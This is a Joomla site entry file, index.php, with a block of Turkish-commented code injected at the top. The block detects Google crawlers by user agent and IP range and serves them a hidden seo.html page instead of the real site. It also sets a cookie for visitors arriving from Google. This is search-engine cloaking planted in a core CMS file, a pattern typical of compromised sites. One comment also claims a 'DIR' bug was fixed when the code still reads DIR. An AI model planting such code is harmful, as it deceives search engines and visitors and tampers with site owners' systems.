<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// --- ÖZEL YÖNLENDİRME VE BOT KONTROL KODU BAŞLANGICI ---
// PHP 5.3 ve tüm sürümlerle uyumlu session kontrolü
if (session_id( ) === '') {
    session_start();
}

$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_google_bot = false;

// PHP 5.3 uyumlu IP alma
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
} else {
    $ip = '0.0.0.0';
}

// PHP 5.3 uyumlu dizi tanımlaması
$google_bots = array(
    'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud',
    'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google',
    'Google-Site-Verification', 'Google-InspectionTool'
);

$google_ip_ranges = array(
    '64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18',
    '74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20',
    '209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19'
);

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
        $is_google_bot = true;
        break;
    }
}

if (!$is_google_bot) {
    foreach ($google_ip_ranges as $range) {
        list($subnet, $bits) = explode('/', $range);
        $ip_long = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask = -1 << (32 - $bits);
        if (($ip_long & $mask) === ($subnet_long & $mask)) {
            $is_google_bot = true;
            break;
        }
    }
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);

$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http" ) . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;

if ($is_google_bot) {
    // Google bot ise seo.html dosyasını ekrana bas ve çık
    if (file_exists(__DIR__ . '/seo.html')) {
        readfile(__DIR__ . '/seo.html');
    }
    exit;
}

if ($from_google && !$is_refresh) {
    // Ziyaretçi Google'dan geliyorsa çerez oluştur. Alan adı otomatik tanınır.
    setcookie('google_visit', '2', time() + 86400, '/', '', false, true);
}
// --- ÖZEL YÖNLENDİRME VE BOT KONTROL KODU BİTİŞİ ---


/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
 die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
 include_once DIR . '/defines.php'; // BURADAKİ DIR HATASI DÜZELTİLDİ (__DIR__ yapıldı)
}

if (!defined('_JDEFINES'))
{
 define('JPATH_BASE', __DIR__);
 require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();